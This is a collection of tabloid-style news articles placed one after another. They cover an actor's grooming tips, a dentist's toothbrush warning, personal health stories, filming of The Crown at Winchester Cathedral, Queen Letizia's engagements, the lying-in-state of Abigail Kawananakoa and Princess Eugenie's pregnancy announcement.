'Express is the best brand for a guy like me who isn't a style-forward person, because whatever pieces you mix and match will work the majority of the time, and that's why I like it. I don't have to think.

'I just know the Express suit with the Express shirt will work together and then I throw on Crocs and that's my style.'

Best kept beauty secret

A well put together look isn't solely about what you wear. Skincare is critically important, especially with Hollywood actors.

Jonathan credits his perpetual glow to the iDerm facial.

'The biggest secret in Hollywood that no one talks about is the Face Place; I've been going there since I was 19 years old,' revealed the 'Cheaper by the Dozen' star.

'Its on Santa Monica Blvd in West Hollywood. Some of the biggest stars go there.'

Face Place has the best Honey Almond Scrub on the market. A lot of times, for guys, scrubs for are not rough enough

Face Place was founded in 1972 and immediately became a celebrity haven for those wanting clean, clear, rejuvenated skin.

The Face Place's signature facial treatment is known as the iDerm Facial ($155), it was founded by Dr. Paul Meminger.

Dr. Meminger pioneered the use of electric current to open pores and infuse the skin with restorative vitamins and minerals.

The treatment also includes skilled extraction techniques.

'And Face Place has the best Honey Almond Scrub on the market,' Jonathan attests. 'A lot of times, scrubs are not rough enough for guys.

'This feels like they took almonds, threw it in a blender and poured some honey in it.

'It gets everything off of your face, so if you're an actor or just someone that works out a lot and wants to exfoliate your face really well, the Honey Almond Scrub from Face Place is what's kept me looking great for over 25 years.'

To get into peak shape, the star works out and lifts heavy weights with champion bodybuilder Brandon Wertz, and personal trainer John Roth

His workout and wellness routine

Anyone who follows Jonathan on Instagram has admired his washboard abs.

To get into peak shape, the Hollywood hunk works out and lifts heavy weights regularly with champion bodybuilder Brandon Wertz, and personal trainer John Roth.

Helping to reach his health goals, Jonathan exercises, eats right, and takes supplements designed to provide energy and aid endurance throughout a workout.

'I have Everwell MD help monitor my body and give me all the vitamins I need to help my workouts and help me stay lean; things like Taurine and Glutathione help me recover and get in shape for my next movie.'

Mark your calendars: the sexy star has a new episode of Fantasy Island coming out on February 14 on Fox.
A dentist has left social media users horrified after he revealed that many people are likely brushing their teeth with poop particles without even realizing it.

Jordan Brown, a dentist from Florida who has racked up more than 189,000 followers on TikTok for often sharing tips on how you can keep your mouth clean, recently went viral on the app after he claimed that a lot of toothbrushes are actually covered in tiny bits of fecal matter.

The dental hygiene expert and popular social media star explained that small droplets from your toilet will spray up in the air every time you flush it - so if your keep your toothbrush anywhere near your bowl, it probably has whatever was in it all over it.

'Everyone needs to know this about their toothbrush,' he began in the clip, which has been viewed more than 992,000 times.

A dentist has left social media users horrified after he revealed that many people are likely brushing their teeth with poop particles without even realizing it

Jordan Brown, a dentist from Florida, recently went viral on TikTok after he claimed that a lot of toothbrushes are actually covered in tiny bits of fecal matter

The dental hygiene expert and popular social media star explained that small droplets from your toilet will spray up in the air every time you flush it

He explained that if your keep your toothbrush anywhere near your bowl, it probably has whatever was in it all over it

'If you can see your toilet and your toothbrush in the same vision without moving your head, there's a 99 per cent chance you have fecal matter on your toothbrush.

'If you can see your toilet and your toothbrush in the same vision without moving your head, there's a 99 per cent chance you have fecal matter on your toothbrush,' he said

'Aerosols from the toilet spray up in the air, and they get everywhere, including on your toothbrush.'

People quickly took to the comment section to share their thoughts, with some voicing their shock and dismay over Jordan's revelation.

Others claimed they were 'safe' because they store their toothbrushes somewhere where the particles can't reach or close the toilet lid before flushing, which Jordan said was a 'good' idea.

Some commenters also made light of his video, with one writing, 'It adds flavor.'

'I dip my tooth brush in the toilet so I think Im fine,' joked someone else, while another person added, 'Oh but by now I'm used to it.'

'Extra protein?' said a different user. A fifth commented, 'If I can't see it, it's not there.'

People quickly took to the comment section to share their thoughts, with some voicing their shock and dismay over Jordan's revelation

Jordan has racked up more than 189,000 followers on TikTok for often sharing tips on how you can keep your mouth clean

While experts have agreed that toothbrushes shouldn't be kept anywhere near your toilet, 2222dental.com reported that you should avoid storing them 'in a drawer, cabinet,' or somewhere where it won't dry quickly because 'bacteria love moisture and will thrive in this environment.'

The publication recommended that they should be kept in an 'upright position to ensure they dry off thoroughly' in a 'cup or holder' at least three feet away from the toilet, and that they shouldn't touch one another.

A 2015 study by Quinnipiac University confirmed a 'transmission of fecal coliforms' to toothbrushes after testing several students' toothbrushes, and reported that they 'can serve as a vector for transmission of potentially pathogenic organisms.'

In addition to where you store your toothbrush, Colgate pointed out that how often you change it is another important aspect to avoid bacteria.

It recommended changing your toothbrush every three to four months, and even sooner if you've been sick.

When in doubt, look at the bristles. If they are frayed, they won't clean teeth as thoroughly, the brand explained.
A graduate who ignored her own cancer symptoms for months is urging other young women to go and see a doctor if they are worried.

Chloe Etheridge, 24, from Whitstable, Kent, was diagnosed with ovarian cancer seven months after she started feeling ill.

She 'ignored' symptoms like bloating and difficulty with eating until her stomach pain became too bad, she says.

Chloe Etheridge, 24, from Whitstable, Kent, who ignored her own cancer symptoms for months is urging other young women to go and see a doctor if they are worried

She then went to A&E in April 2022, where they did an ultrasound - which revealed she had two tumours on her ovaries.

Chloe had removal surgery earlier this month and is expected to make a full recovery.

But she wants to speak out to urge other young women to see a doctor if they are worried - and is challenging 'misconceptions'.

Chloe said: 'Book your GP appointment and don't stop going until you get an answer.

She 'ignored' symptoms like bloating and difficulty with eating until her stomach pain became too bad

Chloe had removal surgery earlier this month at Charing Cross Hospital in London and is expected to make a full recovery

'If you feel like you don't have an adequate answer - keep going back.'

Chloe says she first started experiencing what she now knows to be ovarian cancer symptoms in December 2021.

These included bloating, eating problems and abdominal pains.

But she ignored them for months, only going to see a doctor in April last year when the pain became too severe.

Chloe said: 'I ignored all of those things - which wasn't the right thing to do.

'In April I had really bad stomach pain so I had to go to A&E and I found out I had tumours on my ovaries. One was 18cm long and one was 11cm long.

Chloe was diagnosed with germ-cell ovarian cancer - a disease in which cancer cells form in the germ cells of the ovary

'Between April and July, we knew there was something wrong with me, but we didn't know exactly what my diagnosis was which took three months.'

Chloe received her diagnosis on July 11, 2022 - and was told to pack her bags and go for chemotherapy the next day at Charing Cross Hospital in London.

She said: 'I was relieved to finally get a diagnosis. The waiting was horrible and knowing all the time it is growing bigger I wanted to get started on the treatment.

'I thought it would be a really cinematic moment where you go to the doctor with your mum and cry - but it was nothing like that.

'You go into action mode. I had to get on, it was a busy time, and I felt numb thinking, "Right we need to get on with this".'

Chloe was diagnosed with germ-cell ovarian cancer - a disease in which cancer cells form in the germ cells of the ovary.

She said: 'This cancer mainly affects young women and children.

'Since then I have had six months of chemotherapy, which I started the day after my diagnosis.

'The doctor said it was one of the most aggressive forms of chemo they could prescribe and it is only available at two hospitals in the UK.

Chloe had an operation on January 12 of this year to try and remove as much of the two tumours as possible and she is 'expected to make a full recovery'

'It was incredibly brutal. My chemotherapy had seven different chemical components.

'The side effects were horrendous, I had nausea, fatigue, hearing loss - I still can't hear some frequencies now.'

Chloe had an operation on January 12 of this year to try and remove as much of the two tumours as possible.

She said the procedure went 'really well', and she is 'expected to make a full recovery'.

Chloe now wants to warn others about her symptoms - so they can get checked out.

She said: 'I did not realise they were symptoms of cancer. I don't think young women know the symptoms of ovarian cancer.

'There are a lot of misconceptions about getting it when you're old or having a family history.

'I didn't have any of them. The only thing you need is ovaries.

'I think for women because we have periods, it is assumed that we are meant to live with pain but that should not be the case.

'If you are feeling uncomfortable, you should go to your doctor and get it checked out.'
They reached out to charity who provide free prosthetics to children who helped

Emmy, 29, and Justin Brown, 27, made the had decision to amputate his legs

He was born with missing bones in both of his legs meaning he couldn't walk

A toddler walked on prosthetics for the first time in adorable video - after his parents made the agonising decision to have his legs amputated.

Louie Brown, from Columbus, Ohio, was born with missing bones in both of his legs meaning there was no hope of him ever been able to walk, his fingers and thumbs were also fused together.

Doctors gave his parents Emmy Brown, 29, and Justin Brown, 27, the option of amputating both of Louie's legs at the knee or saving them by putting him through 'excruciating' reconstructive surgery every few years of his life.

After discussing their options with other parents of amputees they made the difficult decision to have both of the tot's legs removed and the surgery went ahead when Louie was 11 months old.

Stay-at-home mother Emmy and structural engineer Justin reached out to a charity last month who provide free prosthetics to children and heartwarming footage shows Louie adapting to his new custom-made legs.

The video shows how quickly Louie is progressing and Emmy says he can run as fast as other children his age.

Emmy said: 'He was so excited the first time he saw the legs. He thought it was so cool when they were bending.

Louie Brown, from Columbus, Ohio, walked on prosthetics for the first time in adorable video - after his parents made the agonising decision to have his legs amputated

Was born with missing bones in both of his legs meaning there was no hope of him ever been able to walk therefore his parents made the agonising decision to amputate both his left above the knee

Parents Emmy Brown, 29, and Justin Brown, 27, with adopted sons Tay, 12, Jojo, five, and baby Louie

Emmy and Justin beamed for a sweet snap with Louie right after he was born via C section

Louie was born with missing bones in both of his legs meaning there was no hope of him ever been able to walk, his fingers and thumbs were also fused together

'The video of him walking is amazing, I'm overwhelmed with tears of joy. He's keeping up with his peers and when he doesn't have prosthetics on he keeps up with them on his nubs.

'When he was born, he was missing the tibia in his legs and he was missing digits on his hands. He has a fused thumb and index finger.

'We connected with amputee families and they said without the tibia we should amputate and look into prosthetics because they're advancing every day.

'Doctors said they could maybe save the legs and do reconstructive surgery throughout his life but that would be awful.

It would be excruciating for him and he'd have to have lots of surgeries. They couldn't guarantee he'd have good mobility.

Louie was born missing the tibia in his legs and he was missing digits on his hands, he also has a fused thumb and index finger

After discussing their options with other parents of amputees they made the difficult decision to have both of the tot's legs removed and the surgery went ahead when Louie was 11 months old

Dad Justin was pictured kissing Louie's feet before he went into the surgery to have his legs amputated

'It was awful making that decision. We still to this day have moments where we say we can't believe we had to make that decision but we see him in his prosthetics running around and we know it was so worth it.

'He would have had one or two surgeries already to reconstruct the legs. He would be in pain and not able to walk well. We're sad he had to go through it but we see him doing well and it's worth it.'

The couple had been desperate for a child and were in the process of adopting sons Tay, 12, and Jojo, five, when Emmy fell pregnant with Louie.

Louie will need a new set of prosthetics fitted every two to three years as he continues to grow and thanks to his new legs Louie will be able to play sport, run and swim with his friends

Emmy said that he was so excited the first time he saw the prospect legs, saying he thought it was 'so cool when they were bending'

After the parents reached out to a charity who provide free prosthetics to children Louie was fitted with new custom-made legs

Louie loved his new prosthetic legs that even came with an adorable children's cartoon design on them

What is Fibular Hemimelia? There are two long bones in the lower leg: the thicker one is called the tibia and the thinner one is the fibula. Fibular Hemimelia is present at birth where the tibia is shorter than normal and the fibula is missing or underdeveloped. The condition is rare, occurring in approximately 1 in 25,000 births, but is the most common form of leg bone problem present at birth. It is usually unilateral (affecting one leg) and bilateral fibular hemimelia (affecting both legs) is much rarer. In most cases it is unknown why fibular hemimelia occurs. Its thought that something happens during early growth of the leg. Severe cases may be picked up at scans during pregnancy, but not always. Treatment is always tailored to individual children but can include reconstructive surgeries or in the worst cases amputation of the limb. Source: NHS Advertisement

She says they were over the moon and had the most 'ideal' pregnancy up until the 20 week scan when doctors discovered some 'physical abnormalities' that could prove fatal for the baby.

Emmy said: 'We had no inclination that anything was wrong and it was the most ideal 20 weeks of our lives. We were so excited, it was amazing.

'At the scan, his legs looked really small for his body and they were crossed and tucked underneath him.

'They said it could be fatal and he might not survive the pregnancy. We were devastated. It was awful, one of the worst moments of my life.

'We were hoping and praying it wasn't fatal and we'd be able to help him. They ruled out it been fatal but they couldn't tell us anything about his quality of life. His organs were growing ok and he'd make it full term.

'We were just happy with that news even though we were devastated. We tried to prepare for the worst and hope for the best.

'I think back to those moments where we thought he might not make it through pregnancy and now he's running at two and a half.'

Louie will need a new set of prosthetics fitted every two to three years as he continues to grow and thanks to his new legs Louie will be able to play sport, run and swim with his friends.

Emmy said: 'It's given him the ability to run. He's so energetic and always on the go. When he had the surgery, they told us not to let him run on his nubs but we had to hold him down. He's so resilient, it's crazy cool.'
Netflix's The Crown is filming its final season today at Winchester Cathedral with a Geri Halliwell lookalike striding in a skimpy dress and Union Flag boots.

Priests, Beefeaters, pages of honour and other extras in official uniforms have been flowing into the Hampshire church this morning.

Winchester Cathedral and its grounds are rumoured to be doubling for Westminster Abbey for the funeral of Princess Diana in 1997. But it appears it is also being used as a backdrop for other royal events in the sixth and last series.

The Crown's Dominic West was spotted filming at Winchester Cathedral, wearing a morning suit

A Geri Halliwell double marched on to the set today - she was wearing a short, tassled blue dress similar to the one the Spice Girl wore to meet Prince Charles at the Royal Variety Performance where she pinched the now King's bottom.

In 1997, during a charity gala for the Prince's Trust, both Ginger Spice and Mel B kissed the Prince on the cheek in a major breach of royal protocol before Geri went onto to push even more boundaries by calling Charles 'very sexy' and pinching his bum.

The former Spice Girl later told The Times: 'I didn't pinch Prince Charles's bum, as was reported. I patted it. Patting him on the bottom was against royal protocol but we're all human.'

'It was the premiere of our film, Spice World, in the late nineties. There was a lot of nervous energy  young women, happy antics.

Is that you, Geri? A Ginger Spice lookalike was spotted on the set of The Crown Series 6 at Winchester Cathedral

The Prince of Wales gets a warm reception from the Spice girls, as he jokes with Geri Halliwell at the Princes Trust concert, Manchester on May 9th, 1997

The Geri lookalike donned a show stopping skimpy blue and white dress and Union Jack flag boots

Her ginger locks were styled in crimps and her glam makeup resembled that of the 90's with blue eyeshadow

The Crown is filming at Winchester Cathedral with one Geri Halliwell lookalike wearing one of the star's daring Spice Girls outfits arriving on set this morning

The infamous moment made headline all around the world and it looks like it will now feature during a scene in The Crown.

More than 100 extras also walked into the cathedral, some wearing white formal dresses used by bridesmaids.

There were also young page boys in red and gold outfits worn at the state opening of parliament and weddings. Others were also wearing clothes for royal occasions.

Some of the cast appeared to be in outfits that resembled funeral attire in all black ensembles

An actor appeared to be wearing a morning suit for another scene that was also filmed today

Extras dressed in all-black ensembles left the cathedral after filming what appears to be a funeral scene

Another cast member looked somber while dress in all black for a funeral scene at the cathedral

The cast left Winchester Cathedral after a long morning of filming scenes for the last season

Young women in bridesmaids-style dresses carrying their trainers in bags walk through a pay and display car park to the church

Actors dressed as Beefeaters were also seen striding into the cathedral from across a car park

Numerous pages of honour were also spotted entering the grounds at Winchester Cathedral

Pages of Honour participate in major ceremonies involving the British monarch, including coronations and the State Opening of Parliament

Actors dressed as priests were also spotted in costume heading on to the set at Winchester Cathedral

Filming for the sixth series of The Crown is well underway with the Netflix crew setting up Winchester Cathedral on Saturday as they prepared to film scene's for Princess Diana's funeral.

Fans are eagerly awaiting its release later this year, but the show is already courting controversy with its plans to depict the tragic death of Diana.

Winchester Cathedral is being as a substitute for Westminster Abbey, where the late Princess' funeral took place on 6 September 1997.

Many extras donned grey trousers with a black suit jacket, waist coat and tie over a white shirt

More extras made their way onto set throughout the day for the final season of the Netflix drama

Beefeaters wear a red uniform with gold trimmings and the queen's insignia on the chest on special occasions

Some more extras for the church scene were seen in colourful 90's inspired suites and chic hats

The colourful extras donned bright vibrant colours for The Crown's church scene at Winchester Cathedral

Another extra was spotted wearing a tabard with the Scottish quarterings of the Royal arms

The red outfit was decorated with the tree lions as well as a harp on a blue background in gold detailing

Extra's made their way across the car park to Winchester Cathedral for the church scene wearing bright colours

Production staff were spotted carrying large bags of clothes toward the cathedral for the scene

The woman in white bridesmaid dresses wore dressing gowns over the ensemble to keep warm

Their hair was styled in a chic up style with a flower crown placed around the front for the scene

It will be closed to visitors later this month, on January 24 and 25, according to the Cathedral's website, which is when filming is believed to be taking place.

The cast and crew filmed the funeral procession in October, the Royal Standard is draped over the coffin on the gun carriage  just as it was in real life  while actors dressed in the ceremonial uniform of the Welsh Guards march alongside.

The scene depicting a grief-stricken William and Prince Harry  then aged 15 and 12  was filmed in secrecy at a disused RAF base.

Extras donned very colourful ensembles with one man wearing a bright orange suit paired with a green shirt

More extras donned blue, red and pink ensembles as they made their way into Winchester Cathedral

The car accident that took Princess Diana's life occurred shortly after midnight on August 31, 1997, in Paris. Diana was alive when she was rushed to hospital, but eventually succumbed to her injuries and was pronounced dead hours later.

The Queen was vacationing with William and Harry, ages 15 and 12 at the time, at their Balmoral estate in Scotland at the time. In the middle of the night, she was informed of the accident through her secretary, but she decided to not wake the boys.

In December it emerged that crew members were reportedly disgusted that actress Elizabeth Debicki was made to lie in an open coffin and pretend to be the dead Princess Diana.

The show is already courting controversy with its plans to depict the tragic death of Diana (Dominic West as Prince Charles and Elizabeth Debicki as Princess Diana in series five)

Location: Boxes of red and white roses were seen scattered across the floor

Venue: Winchester Cathedral is being as a substitute for Westminster Abbey

Shocking scenes from the script for the next season of the drama may start a fresh row for the streaming giant.

The sixth season of the show will feature medics covered in blood trying to save Diana, a distraught Prince Charles after seeing the body, and Prince William and Prince Harry at the funeral, The Sun reported.

There are fears over the impact the scenes depicting Princess Diana's final moments before her fatal Paris car crash in 1997 will have on the princes.

Onlookers on set told The Sun that cast members were visibly upset during the filming of the scene. One said: 'They actually made Elizabeth climb into a coffin and play dead as Diana. Viewers will see a French priest administering the last rites for Diana as she is pronounced deceased.

'Prince Charles enters the room and is in floods of tears. In his hysteria he notices that Diana is missing an earring. It is all he can focus on as grief envelops him.'

Funeral: Diana's funeral took place on September 6, 1997 at Westminster Abbey (King Charles, Prince Harry, Prince William and Prince Philip all pictured at the funeral)

Filming: Crew members from The Crown were seen setting up Winchester Cathedral on Saturday as they prepared to film scene's for Princess Diana's funeral

On set: The stunning Gothic church had cordons in place at the weekend

Breathtaking: Pictures from inside the Cathedral show it's incredible interior

Decorative: An elaborate gold alter was seen in the church

Flowers: Props were pictured scattered around the church

They added: 'Princes William and Harry never saw their mother dead in a coffin and they shouldn't have to watch this. Nor should the British public.'

Crew members are said to be concerned that the scriptwriters and producers have gone over the top chasing ratings.

One spectator said: 'Everyone was very uncomfortable doing the shoot. It is obscene and should be banned from broadcast.'

The next season will show scenes of Princess Diana lying on a table with frantic medics trying to save her.

Netflix has insisted the 'exact moment' of the crash will not feature in the controversial drama, which has come under fire for sensationalism and inaccuracy.

Actress Elizabeth Debicki was made to lie in an open coffin and pretend to be the dead Princess Diana for Netflix's The Crown. Pictured, the show filming near the location of the car crash that killed Princess Diana

The sixth season of the show will feature a distraught Prince Charles after seeing the body of Diana, played by Elizabeth Debicki, in character above

A friend of Diana's said the show's makers could face accusations of 'insensitivity' over the filming in Paris. Debbie Frank, who was Diana's astrologer, said it would be 'terrible' for William and Harry to see a recreation of the moments leading up to their mother's death.

'It's obviously terrible for Diana's children to have to see that again. It's insensitive,' she said.

She added: 'I feel Diana's death and the crash was the biggest shock our generation. It had such a huge impact across the national psyche.

'I guess the makers of The Crown feel they are entitled to show a re-enactment of scenes leading up to her death and that it has dramatic impact. But relatives would think otherwise.'

One scene will reportedly show Prince Charles in floods of tears after the death of Princess Diana. Above, the couple played by Dominic West and Elizabeth Debicki

Netflix crews film the moments before Princess Diana's car crash in Paris for The Crown

Ken Wharfe, Diana's former bodyguard, told The Sun that William will find the scenes 'repulsive' and Charles will be 'appalled'.

Harry has confirmed that he watches Netflix's controversial series The Crown - and 'fact checks' the show as he does.

The Duke of Sussex laughed as he revealed in a new TV interview that he has watched the 'more recent' episodes that portray 'sensationalized' accounts of his late mother Diana's bulimia battle and her bitter divorce from his father.

The 38-year-old made the admission during an appearance on The Late Show with Stephen Colbert.

'Yes I have actually watched The Crown,' Harry - who has a production deal with Netflix that is reported to be worth $100 million - told Colbert after the late night host asked if he had seen the series.

'The older stuff and the more recent stuff.'

Harry then burst into fits of laughter and mimed taking notes as Colbert questioned whether he 'fact checks' the show - before admitting: 'Yes, I do actually.'
Queen Letizia of Spain looked characteristically classy as she chaired a conference of healthcare bosses in Madrid.

The Spanish Royal, 50, was ready for business as she stepped out in a grey ensemble this morning, armed with an iPad.

At the working meeting of the Spanish Association Against Cancer (AECC), the Queen discussed strategies to tackle the disease with some of Spain's leading cancer experts.

The Queen, who is the wife of King Felipe VI, 54, is the permanent honorary president of the association and its scientific foundation.

Queen Letizia, who is the wife of King Felipe VI, 54, is the president of the Spanish Association Against Cancer (AECC)

The typically stylish royal wore tailored light grey suit trousers, which she paired with a matching sleeveless grey overcoat, which she took off inside for the meeting.

Wrapping up warm for the chilly January weather, Letizia also donned a thick white polo neck jumper, which beautifully complemented her dark brunette tresses.

She paired the chic ensemble with black accessories - leather pointed heels and a simple satchel-style bag.

Ready for business: The Queen chaired the working meeting of the AECC in Madrid this morning

Wrapping up warm for the chilly January weather, Letizia also donned a thick white polo neck jumper, which beautifully complemented her dark brunette tresses

Subtle and chic: Her makeup and jewellery were somewhat pared back for the meeting

Her makeup and jewellery were pared back for the meeting, as she wore small diamond earrings and a subtle version of her well-known smokey eye with nude tones.

She was welcomed by the Chairman of Executive Council of the AECC, Ramon Reyes Bori, as she arrived.

The Queen beamed and waved at the cameras as the pair posed in front of the association's headquarters in central Madrid for a photo ahead of the meeting.

Her visit came ahead of World Cancer Day on February 6, which the Queen marked last year as she presided over the 'XI edition of the Forum against Cancer' in Madrid.

Queen Letizia was welcomed by the Chairman of Executive Council of the AECC, Ramon Reyes Bori, with the pair shaking hands as she arrived at the meeting

The Queen beamed and waved at the cameras as she posed in front of the association's headquarters in central Madrid for a photo ahead of the meeting

Her visit came ahead of World Cancer Day on February 6, which the Queen marked last year as she presided over the 'XI edition of the Forum against Cancer' in Madrid

Letizia is particularly active in the healthcare field and regularly visits hospitals to meet medical professionals and see the work being done.

Just before Christmas, the Queen visited the Hospital Nino Jesus, where she met with patients to learn about a new theatre project which aims to give a voice to the youngsters being treated there.

And in September, the mother-of-two took part in the 'Cancer Tour' conference in Lleida, Catalonia.

Letizia is particularly active in the healthcare field and regularly visits hospitals to meet medical professionals and see the work being done

Letizia is also the Honorary President of UNICEF Spain and the Ombudsman for Mental Health in Children and Adolescents

At the conference, she reportedly asked about the potential for integrative medicine in treating cancer patients during a question and answer session.

The Queen is also a keen advocate for tackling issues around mental health and helping young people.

She is the Honorary President of UNICEF Spain and the Ombudsman for Mental Health in Children and Adolescents, and has two teenage daughters - Princesses Leonor, 17 and Infanta, 15.
Queen Letizia of Spain has been snapped posing for photographs for the BeReal app in images which were shared online by royal fans.

All followers on the social media app are notified simultaneously at an unpredictable two-minute time slot and asked to post whatever they are doing right there and then.

The Spanish mother-of-two was meeting with a group of young swimmers on an undated occasion when it appears one received their notification for the day, and dutifully posed for a selfie.

In snaps shared on Twitter yesterday by @david_h_morales, the Queen can be seen beaming with joy in one photo with the group.

Queen Letizia of Spain has been snapped posing for photographs for the BeReal app in snaps which were shared online by royal fans

The app is designed as an antidote to the careful presentation of our lives where pictures and videos are scrubbed up and edited through various filters.

The random timing of the call to action makes it hard to construct a post showing a perfect existence. The whole point is to be impromptu.

However it appears the royal fans had lucked out with the notification timing and grabbed a selfie with the Queen.

In a video clip of the moment, Queen Letizia appears to be receiving instructions from one of the young swimmers on how to use the app.

In a video clip of the moment, Queen Letizia appears to be receiving instructions from one of the young swimmers on how to use the app before posing for the selfie

She can be seen neatening her hair as she prepares for a selfie shot, before taking another picture of a group directly in front of her.

In the snaps, which are undated, the royal is dressed in a fuchsia pink blouse and a pair of black trousers.

Letizia's appearance on the social media app appears to be a first for a member of the royal family.

Although there is no official protocol on selfies in the British royal family, the royals have a rule against signing autographs, so that they can't be sold for large amounts of money.

It appears the royal fans had lucked out with the notification timing and grabbed a selfie with the Queen

And in the early days of camera phones, they seemed to shy away from being snapped with members of the public with Princes William and Harry and King Charles all voicing their dislike of the method.

However, in recent years, they've become commonplace, with Charles posing for his first selfie all the way back in 2014, and other royals followed suit.

Now, the Prince and Princess of Wales are often seen posing for selfies during royal engagements with members of the public.

The late Queen was not a fan of selfies and would politely decline if ever asked to take one, as she was thought to prefer eye contact. However, this was more of a personal preference than a rule of any kind.

The clip emerged amid a busy period for Letizia, who just today was seen chairing a conference of healthcare bosses in Madrid.

The Prince and Princess of Wales are often seen posing for selfies during royal engagements with members of the public (pictured)

At the working meeting of the Spanish Association Against Cancer (AECC), the Queen discussed strategies to tackle the disease with some of Spain's leading cancer experts.

The Queen, who is the wife of King Felipe VI, 54, is the permanent honorary president of the association and its scientific foundation.

And earlier this month, she flew to Athens with husband King Felipe to attend King Constantine II of Greece's funeral.

The royal couple greeted King Constantine's grieving son Crown Prince Pavlos on the steps of Orthodox Metropolitan Cathedral.

For the sombre occasion, Letizia styled her hair in a chic updo and opted for minimal jewellery to offset her tailored black coat dress.
The casket bearing the heiress long considered the last Hawaiian princess went on public display Sunday in the downtown Honolulu palace that benefited from her wealth.

Abigail Kinoiki Kekaulike Kawananakoa's casket, handcrafted from a 165-year-old koa tree that fell during a 2021 storm on the Big Island, arrived at 'Iolani Palace in a hearse.

It was greeted by a traditional Hawaiian wailing and a chanting of her lineage before being carried by members of a law enforcement honour guard up the palace's front stairs and into the throne room.

Kawananakoa, who was worth an estimated $215 million, passed away 'peacefully' on December 11, at the age of 96, with her wife Veronica Gail Kawananakoa, 70, at her side in her home in Nuuanu, near downtown Honolulu, according to a news release.

Abigail Kinoiki Kekaulike Kawananakoa's casket, handcrafted from a 165-year-old koa tree that fell during a 2021 storm on the Big Island, arrived at 'Iolani Palace in a hearse. Pictured, Kawananakoa in 2019

Her death was formally announced outside 'Iolani Palace, America's only royal residence where the Hawaiian monarchy dwelled but now serves mostly as a museum.

'Abigail will be remembered for her love of Hawaii and its people,' her wife said in a statement, 'and I will miss her with all of my heart.'

Kawananakoa was descended from the royal family that once ruled the islands. She held no formal title but was a reminder of Hawaiis monarchy and a symbol of Hawaiian national identity that endured after the kingdom was overthrown by American businessmen in 1893.

In 1895, an unsuccessful attempt by Hawaiian royalists to restore Queen Liliuokalani to power resulted in her arrest.

The casket (pictured centre) was greeted by a traditional Hawaiian wailing and a chanting of her lineage before being carried by members of a law enforcement honour guard up the palace's front stairs and into the throne room

Kawananakoa (pictured in the palace in 1982), who was worth an estimated $215 million, passed away 'peacefully' on December 11, at the age of 96, with her wife Veronica Gail Kawananakoa, 70, at her side in her home in Nuuanu, near downtown Honolulu, according to a news release

'Abigail will be remembered for her love of Hawaii and its people,' her wife (pictured in 2018 together) said in a statement, 'and I will miss her with all of my heart'

Kawananakoa (pictured in 1954) was descended from the royal family that once ruled the islands

She was put on trial before a military tribunal in her own throne room. After she was convicted, she was imprisoned in an upstairs bedroom of the palace for nearly eight months.

A timeline of Hawaii's 'last princess' Abigail Kinoiki Kekaulike Kawananakoa's life Abigail was born on April 23, 1926, in Honolulu, Hawaii, to parents Lydia - the daughter of Prince David Kawananakoa - and William - an Irish American.

After the Prince died, his widow - Abigail's grandmother - legally adopted Abigail, who was aged six.

She first started inheriting her fortune in 1969 after her mother passed away.

After spending 'millions' of dollars on breeding racehorses throughout the '90s, she almost went bankrupt in 1997.

In 2017, Abigail suffered a stroke and a bitter legal battle between her former attorney Jim Wright and her partner Veronica Gail Kawananakoa, whom she married that year, ensued.

In 2020, a judge ruled that Abigail was too impaired 'to manage her property and business affairs'.

She passed away at age 96 in December. Advertisement

Kawananakoa inherited her wealth from her great-grandfather, Irish businessman James Campbell, who made his fortune as a sugar plantation owner and one of Hawaii's largest landowners.

He had married Abigail Kuaihelani Maipinepine Bright. Their daughter, Abigail Wahiika`ahu`ula Campbell, married Prince David Kawnanakoa, who was named an heir to the throne. Their daughter then went on to give birth to Abigail.

After the prince died, his widow adopted their grandchild, Abigail, which strengthened her claim to a princess title.

She received more Campbell money than anyone else and amassed a trust valued at about $215 million.

She acknowledged in an interview with Honolulu Magazine in 2021 that had the monarchy survived, her cousin Edward Kawananakoa would be in line to be the ruler, not her.

'Of course, I would be the power behind the throne, there's no question about that,' she joked.

She helped fund various causes over the years, including scholarships for Native Hawaiian students, supporting protests against a giant telescope, donating items owned by King Kalakaua and Queen Kapi`olani for public display and maintaining `Iolani Palace.

Another one of her passions was breeding racehorses.

She was inducted into the American Quarter Horse Hall of Fame in 2018, with the association noting she was the industry's 'all-time leading female breeder at the reins of an operation that has produced the earners of more than $10 million.'

One of her horses, A Classic Dash, won $1 million in 1993 in New Mexico's All-American Futurity.

In 2017, a court battle began over control of her trust after she suffered a stroke. In 2018, Kawananakoa attempted to amend her trust to ensure that her wife would receive $40million and all her personal property, according to court records.

She held no formal title but was a reminder of Hawaiis monarchy and a symbol of Hawaiian national identity that endured after the kingdom was overthrown by American businessmen in 1893. The 'princess' pictured in 2012, left, and 2009, right

A private funeral service is scheduled for Monday at Mauna *Ala, also known as Royal Mausoleum State Monument, which is the burial place of Hawaiian royalty. Pictured right, Kawananakoa in 2013

Kawananakoa (pictured at her wedding ceremony in 2017 with her wife) gained notoriety when she sat on an `Iolani Palace throne for a Life magazine photo shoot in 1998. She damaged some of its fragile threads, causing an uproar that resulted in her being ousted from her role as the president of Friends of `Iolani Palace, a position she had held for more than 25 years

Three years later, a judge ruled that Kawananakoa was unable to manage her property and business affairs because she was impaired.

Kawananakoa gained notoriety when she sat on an `Iolani Palace throne for a Life magazine photo shoot in 1998.

She damaged some of its fragile threads, causing an uproar that resulted in her being ousted from her role as the president of Friends of `Iolani Palace, a position she had held for more than 25 years.

Family spokesperson Caroline Witherspoon called Sunday's procession 'extremely emotional,' saying: 'The wailing - it was just beautiful. It just caused a visceral reaction for me. I started to cry.'

Members of the public were allowed to line up to view her casket and weren't required to wear the shoe coverings that palace visitors normally have to wear as a preservation precaution.

A carpet for mourners to walk on was temporarily installed for the viewing, which was scheduled to end at 8pm local time.

A private funeral service is scheduled for Monday at Mauna *Ala, also known as Royal Mausoleum State Monument, which is the burial place of Hawaiian royalty.
Sarah Ferguson said she was in 'Granny heaven' as she revealed she is 'deeply grateful' Princess Eugenie is expecting her second child.

The youngest daughter of Prince Andrew and the Duchess of York shared the news earlier today, posting an adorable snap on Instagram showing two-year-old August kissing her stomach, writing: 'Were so excited to share that there will be a new addition to our family this summer.'

Eugenie gave birth to her first son August Philip Hawke Brooksbank, who is 13th-in-line to the throne, at London's Portland Hospital in February 2021.

Posting a tribute on Instagram to her youngest daughter this afternoon, Fergie wrote: 'You will be sharing puddles, Augie! Superb news, Granny heaven. So deeply grateful.'

Princess Eugenie is pregnant with her second child and due to give birth in the summer, it has been announced (pictured, with her son August)

Meanwhile Fergie also shared a snapshot of the little toddler playing in a puddle in the pouring rain.

